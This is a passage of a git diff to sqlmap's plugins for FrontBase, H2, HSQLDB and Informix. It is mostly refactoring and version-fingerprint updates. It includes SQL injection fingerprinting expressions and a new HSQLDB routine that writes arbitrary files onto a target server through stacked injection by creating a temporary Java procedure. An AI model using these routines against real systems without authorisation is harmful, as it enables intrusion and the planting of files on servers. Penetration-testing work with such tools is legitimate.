a/plugins/dbms/frontbase/enumeration.py b/plugins/dbms/frontbase/enumeration.py new file mode 100644 index 00000000000..374b4f7930e --- /dev/null +++ b/plugins/dbms/frontbase/enumeration.py @@ -0,0 +1,32 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getBanner(self): + warnMsg = "on FrontBase it is not possible to get the banner" + logger.warning(warnMsg) + + return None + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on FrontBase it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on FrontBase it is not possible to enumerate the hostname" + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on FrontBase it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/frontbase/filesystem.py b/plugins/dbms/frontbase/filesystem.py new file mode 100644 index 00000000000..7a6654966ee --- /dev/null +++ b/plugins/dbms/frontbase/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on FrontBase it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on FrontBase it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/frontbase/fingerprint.py b/plugins/dbms/frontbase/fingerprint.py new file mode 100644 index 00000000000..bb5e15a5c3e --- /dev/null +++ b/plugins/dbms/frontbase/fingerprint.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import FRONTBASE_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.FRONTBASE) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.FRONTBASE + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(FRONTBASE_ALIASES): + setDbms(DBMS.FRONTBASE) + return True + + infoMsg = "testing %s" % DBMS.FRONTBASE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("(SELECT degradedTransactions FROM INFORMATION_SCHEMA.IO_STATISTICS)>=0") + + if result: + infoMsg = "confirming %s" % DBMS.FRONTBASE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("(SELECT TOP (0,1) file_version FROM INFORMATION_SCHEMA.FRAGMENTATION)>=0") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.FRONTBASE + logger.warning(warnMsg) + + return False + + setDbms(DBMS.FRONTBASE) + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.FRONTBASE + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/frontbase/syntax.py b/plugins/dbms/frontbase/syntax.py new file mode 100644 index 00000000000..17a0a02c257 --- /dev/null +++ b/plugins/dbms/frontbase/syntax.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" + True + """ + + return expression diff --git a/plugins/dbms/frontbase/takeover.py b/plugins/dbms/frontbase/takeover.py new file mode 100644 index 00000000000..bc7787c6109 --- /dev/null +++ b/plugins/dbms/frontbase/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on FrontBase it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on FrontBase it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on FrontBase it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on FrontBase it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/h2/__init__.py b/plugins/dbms/h2/__init__.py index b38b098dd12..fbefae0055a 100644 --- a/plugins/dbms/h2/__init__.py +++ b/plugins/dbms/h2/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -23,11 +23,7 @@ class H2Map(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove def __init__(self): self.excludeDbsList = H2_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.H2] = Syntax.escape diff --git a/plugins/dbms/h2/connector.py b/plugins/dbms/h2/connector.py index 54e332c773f..ec625e31f8b 100644 --- a/plugins/dbms/h2/connector.py +++ b/plugins/dbms/h2/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,9 +9,6 @@ from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): - def __init__(self): - GenericConnector.__init__(self) - def connect(self): errMsg = "on H2 it is not (currently) possible to establish a " errMsg += "direct connection" diff --git a/plugins/dbms/h2/enumeration.py b/plugins/dbms/h2/enumeration.py index 58e9ec71636..9dc1131d329 100644 --- a/plugins/dbms/h2/enumeration.py +++ b/plugins/dbms/h2/enumeration.py @@ -1,24 +1,21 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ -from plugins.generic.enumeration import Enumeration as GenericEnumeration +from lib.core.common import unArrayizeValue from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries -from lib.core.common import unArrayizeValue from lib.core.enums import DBMS from lib.core.settings import H2_DEFAULT_SCHEMA from lib.request import inject +from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def getBanner(self): if not conf.getBanner: return @@ -32,21 +29,27 @@ def getBanner(self): return kb.data.banner - def getPrivileges(self, *args): + def getPrivileges(self, *args, **kwargs): warnMsg = "on H2 it is not possible to enumerate the user privileges" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getHostname(self): warnMsg = "on H2 it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) def getCurrentDb(self): return H2_DEFAULT_SCHEMA def getPasswordHashes(self): - warnMsg = "on H2 it is not possible to list password hashes" - logger.warn(warnMsg) + warnMsg = "on H2 it is not possible to enumerate password hashes" + logger.warning(warnMsg) return {} + + def getStatements(self): + warnMsg = "on H2 it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/h2/filesystem.py b/plugins/dbms/h2/filesystem.py index cfbcee27cd5..f607dc2438c 100644 --- a/plugins/dbms/h2/filesystem.py +++ b/plugins/dbms/h2/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,13 +9,10 @@ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - - def readFile(self, rFile): + def readFile(self, remoteFile): errMsg = "on H2 it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) - def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on H2 it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/h2/fingerprint.py b/plugins/dbms/h2/fingerprint.py index 6b6353ecc3b..7125b27cec3 100644 --- a/plugins/dbms/h2/fingerprint.py +++ b/plugins/dbms/h2/fingerprint.py @@ -1,16 +1,20 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format +from lib.core.common import hashDBRetrieve +from lib.core.common import hashDBWrite from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS +from lib.core.enums import FORK +from lib.core.enums import HASHDB_KEYS from lib.core.session import setDbms from lib.core.settings import H2_ALIASES from lib.request import inject @@ -21,6 +25,16 @@ def __init__(self): GenericFingerprint.__init__(self, DBMS.H2) def getFingerprint(self): + fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) + + if fork is None: + if inject.checkBooleanExpression("EXISTS(SELECT * FROM INFORMATION_SCHEMA.SCHEMATA WHERE SCHEMA_NAME='IGNITE')"): + fork = FORK.IGNITE + else: + fork = "" + + hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) + value = "" wsOsFp = Format.getOs("web server", kb.headersFp) @@ -37,6 +51,8 @@ def getFingerprint(self): if not conf.extensiveFp: value += DBMS.H2 + if fork: + value += " (%s fork)" % fork return value actVer = Format.getDbms() @@ -45,14 +61,19 @@ def getFingerprint(self): if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") - banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + if fork: + value += "\n%sfork fingerprint: %s" % (blank, fork) + return value def checkDbms(self): @@ -66,31 +87,35 @@ def checkDbms(self): infoMsg = "testing %s" % DBMS.H2 logger.info(infoMsg) - result = inject.checkBooleanExpression("ZERO() IS 0") + result = inject.checkBooleanExpression("ZERO()=0") if result: infoMsg = "confirming %s" % DBMS.H2 logger.info(infoMsg) - result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") + result = inject.checkBooleanExpression("LEAST(ROUNDMAGIC(PI()),3)=3") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.H2 - logger.warn(warnMsg) + logger.warning(warnMsg) return False else: setDbms(DBMS.H2) + result = inject.checkBooleanExpression("JSON_OBJECT() IS NOT NULL") + version = '2' if result else '1' + Backend.setVersion(version) + self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.H2 - logger.warn(warnMsg) + logger.warning(warnMsg) return False def getHostname(self): warnMsg = "on H2 it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) diff --git a/plugins/dbms/h2/syntax.py b/plugins/dbms/h2/syntax.py index b98351c593d..cfc1c86a8ca 100644 --- a/plugins/dbms/h2/syntax.py +++ b/plugins/dbms/h2/syntax.py @@ -1,24 +1,22 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ - >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") - 'SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar' + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar" + True """ def escaper(value): - return "||".join("CHAR(%d)" % ord(value[i]) for i in xrange(len(value))) + return "||".join("CHAR(%d)" % _ for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/h2/takeover.py b/plugins/dbms/h2/takeover.py index cb0f53cb271..29ba323a57c 100644 --- a/plugins/dbms/h2/takeover.py +++ b/plugins/dbms/h2/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,9 +9,6 @@ from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def osCmd(self): errMsg = "on H2 it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/hsqldb/__init__.py b/plugins/dbms/hsqldb/__init__.py index c6f9c28f1dc..9a667f25a38 100644 --- a/plugins/dbms/hsqldb/__init__.py +++ b/plugins/dbms/hsqldb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -23,11 +23,7 @@ class HSQLDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Tak def __init__(self): self.excludeDbsList = HSQLDB_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.HSQLDB] = Syntax.escape diff --git a/plugins/dbms/hsqldb/connector.py b/plugins/dbms/hsqldb/connector.py index 6ac4c160918..429337d20bd 100644 --- a/plugins/dbms/hsqldb/connector.py +++ b/plugins/dbms/hsqldb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -30,13 +30,10 @@ class Connector(GenericConnector): License: LGPL & Apache License 2.0 """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): self.initConnection() try: - msg = "what's the location of 'hsqldb.jar'? " + msg = "please enter the location of 'hsqldb.jar'? " jar = readInput(msg) checkFile(jar) args = "-Djava.class.path=%s" % jar diff --git a/plugins/dbms/hsqldb/enumeration.py b/plugins/dbms/hsqldb/enumeration.py index 9616d5cf65e..a45484c4571 100644 --- a/plugins/dbms/hsqldb/enumeration.py +++ b/plugins/dbms/hsqldb/enumeration.py @@ -1,24 +1,21 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ -from plugins.generic.enumeration import Enumeration as GenericEnumeration +from lib.core.common import unArrayizeValue from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries -from lib.core.common import unArrayizeValue from lib.core.enums import DBMS from lib.core.settings import HSQLDB_DEFAULT_SCHEMA from lib.request import inject +from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def getBanner(self): if not conf.getBanner: return @@ -32,15 +29,21 @@ def getBanner(self): return kb.data.banner - def getPrivileges(self, *args): + def getPrivileges(self, *args, **kwargs): warnMsg = "on HSQLDB it is not possible to enumerate the user privileges" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getHostname(self): warnMsg = "on HSQLDB it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) def getCurrentDb(self): return HSQLDB_DEFAULT_SCHEMA + + def getStatements(self): + warnMsg = "on HSQLDB it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/hsqldb/filesystem.py b/plugins/dbms/hsqldb/filesystem.py index a8bdfa2a071..d5e78548412 100644 --- a/plugins/dbms/hsqldb/filesystem.py +++ b/plugins/dbms/hsqldb/filesystem.py @@ -1,21 +1,60 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +from lib.core.common import randomStr +from lib.core.data import kb +from lib.core.data import logger +from lib.core.decorators import stackedmethod +from lib.core.enums import PLACE +from lib.request import inject from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - - def readFile(self, rFile): + def readFile(self, remoteFile): errMsg = "on HSQLDB it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) - def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): - errMsg = "on HSQLDB it is not possible to write files" - raise SqlmapUnsupportedFeatureException(errMsg) + @stackedmethod + def stackedWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + func_name = randomStr() + max_bytes = 1024 * 1024 + + debugMsg = "creating JLP procedure '%s'" % func_name + logger.debug(debugMsg) + + addFuncQuery = "CREATE PROCEDURE %s (IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(%s)) " % (func_name, max_bytes) + addFuncQuery += "LANGUAGE JAVA DETERMINISTIC NO SQL " + addFuncQuery += "EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'" + inject.goStacked(addFuncQuery) + + fcEncodedList = self.fileEncode(localFile, "hex", True) + fcEncodedStr = fcEncodedList[0][2:] + fcEncodedStrLen = len(fcEncodedStr) + + if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: + warnMsg = "as the injection is on a GET parameter and the file " + warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen + warnMsg += "bytes, this might cause errors in the file " + warnMsg += "writing process" + logger.warning(warnMsg) + + debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) + logger.debug(debugMsg) + + # Reference: http://hsqldb.org/doc/guide/sqlroutines-chapt.html#src_jrt_procedures + invokeQuery = "CALL %s('%s', CAST('%s' AS VARBINARY(%s)))" % (func_name, remoteFile, fcEncodedStr, max_bytes) + inject.goStacked(invokeQuery) + + logger.debug("cleaning up the database management system") + + delQuery = "DELETE PROCEDURE %s" % func_name + inject.goStacked(delQuery) + + message = "the local file '%s' has been written on the back-end DBMS" % localFile + message += "file system ('%s')" % remoteFile + logger.info(message) diff --git a/plugins/dbms/hsqldb/fingerprint.py b/plugins/dbms/hsqldb/fingerprint.py index 4b1245b40b0..b58faee05da 100644 --- a/plugins/dbms/hsqldb/fingerprint.py +++ b/plugins/dbms/hsqldb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -49,11 +49,12 @@ def getFingerprint(self): if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") - if re.search(r"-log$", kb.data.banner): - banVer += ", logging enabled" + if banVer: + if re.search(r"-log$", kb.data.banner or ""): + banVer += ", logging enabled" - banVer = Format.getDbms([banVer] if banVer else None) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() @@ -98,18 +99,18 @@ def checkDbms(self): infoMsg = "confirming %s" % DBMS.HSQLDB logger.info(infoMsg) - result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") + result = inject.checkBooleanExpression("LEAST(ROUNDMAGIC(PI()),3)=3") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB - logger.warn(warnMsg) + logger.warning(warnMsg) return False else: result = inject.checkBooleanExpression("ZERO() IS 0") # Note: check for H2 DBMS (sharing majority of same functions) if result: warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -133,7 +134,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB - logger.warn(warnMsg) + logger.warning(warnMsg) dbgMsg = "...or version is < 1.7.2" logger.debug(dbgMsg) @@ -142,4 +143,11 @@ def checkDbms(self): def getHostname(self): warnMsg = "on HSQLDB it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) + + def checkDbmsOs(self, detailed=False): + if Backend.getOs(): + infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() + logger.info(infoMsg) + else: + self.userChooseDbmsOs() diff --git a/plugins/dbms/hsqldb/syntax.py b/plugins/dbms/hsqldb/syntax.py index b98351c593d..cfc1c86a8ca 100644 --- a/plugins/dbms/hsqldb/syntax.py +++ b/plugins/dbms/hsqldb/syntax.py @@ -1,24 +1,22 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ - >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") - 'SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar' + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar" + True """ def escaper(value): - return "||".join("CHAR(%d)" % ord(value[i]) for i in xrange(len(value))) + return "||".join("CHAR(%d)" % _ for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/hsqldb/takeover.py b/plugins/dbms/hsqldb/takeover.py index c3b09e34023..f364bdf54d2 100644 --- a/plugins/dbms/hsqldb/takeover.py +++ b/plugins/dbms/hsqldb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,9 +9,6 @@ from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def osCmd(self): errMsg = "on HSQLDB it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/informix/__init__.py b/plugins/dbms/informix/__init__.py index 79a14664b86..8cb00583fbe 100644 --- a/plugins/dbms/informix/__init__.py +++ b/plugins/dbms/informix/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -24,11 +24,7 @@ class InformixMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, T def __init__(self): self.excludeDbsList = INFORMIX_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.INFORMIX] = Syntax.escape diff --git a/plugins/dbms/informix/connector.py b/plugins/dbms/informix/connector.py index 7faeee24616..e6f05889c0f 100644 --- a/plugins/dbms/informix/connector.py +++ b/plugins/dbms/informix/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -26,9 +26,6 @@ class Connector(GenericConnector): License: Apache License 2.0 """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): self.initConnection() diff --git a/plugins/dbms/informix/enumeration.py b/plugins/dbms/informix/enumeration.py index 985963fd924..c67bdf71368 100644 --- a/plugins/dbms/informix/enumeration.py +++ b/plugins/dbms/informix/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,27 +9,30 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def searchDb(self): warnMsg = "on Informix searching of databases is not implemented" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchTable(self): warnMsg = "on Informix searching of tables is not implemented" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchColumn(self): warnMsg = "on Informix searching of columns is not implemented" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def search(self): warnMsg = "on Informix search option is not available" - logger.warn(warnMsg) + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on Informix it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/informix/filesystem.py b/plugins/dbms/informix/filesystem.py index 4f0d86be78e..2e61d83c07c 100644 --- a/plugins/dbms/informix/filesystem.py +++ b/plugins/dbms/informix/filesystem.py @@ -1,12 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) + pass diff --git a/plugins/dbms/informix/fingerprint.py b/plugins/dbms/informix/fingerprint.py index a582a93d6a7..f71e6deff80 100644 --- a/plugins/dbms/informix/fingerprint.py +++ b/plugins/dbms/informix/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -45,8 +45,10 @@ def getFingerprint(self): if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") - banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() @@ -76,7 +78,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.INFORMIX - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -94,7 +96,7 @@ def checkDbms(self): infoMsg = "actively fingerprinting %s" % DBMS.INFORMIX logger.info(infoMsg) - for version in ("12.1", "11.7", "11.5"): + for version in ("14.1", "12.1", "11.7", "11.5", "10.0"): output = inject.checkBooleanExpression("EXISTS(SELECT 1 FROM SYSMASTER:SYSDUAL WHERE DBINFO('VERSION,'FULL') LIKE '%%%s%%')" % version) if output: @@ -104,6 +106,6 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.INFORMIX - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/informix/syntax.py b/plugins/dbms/informix/syntax.py index 2bd9c9e338c..430664adec4 100644 --- a/plugins/dbms/informix/syntax.py +++ b/plugins/dbms/informix/syntax.py @@ -1,7 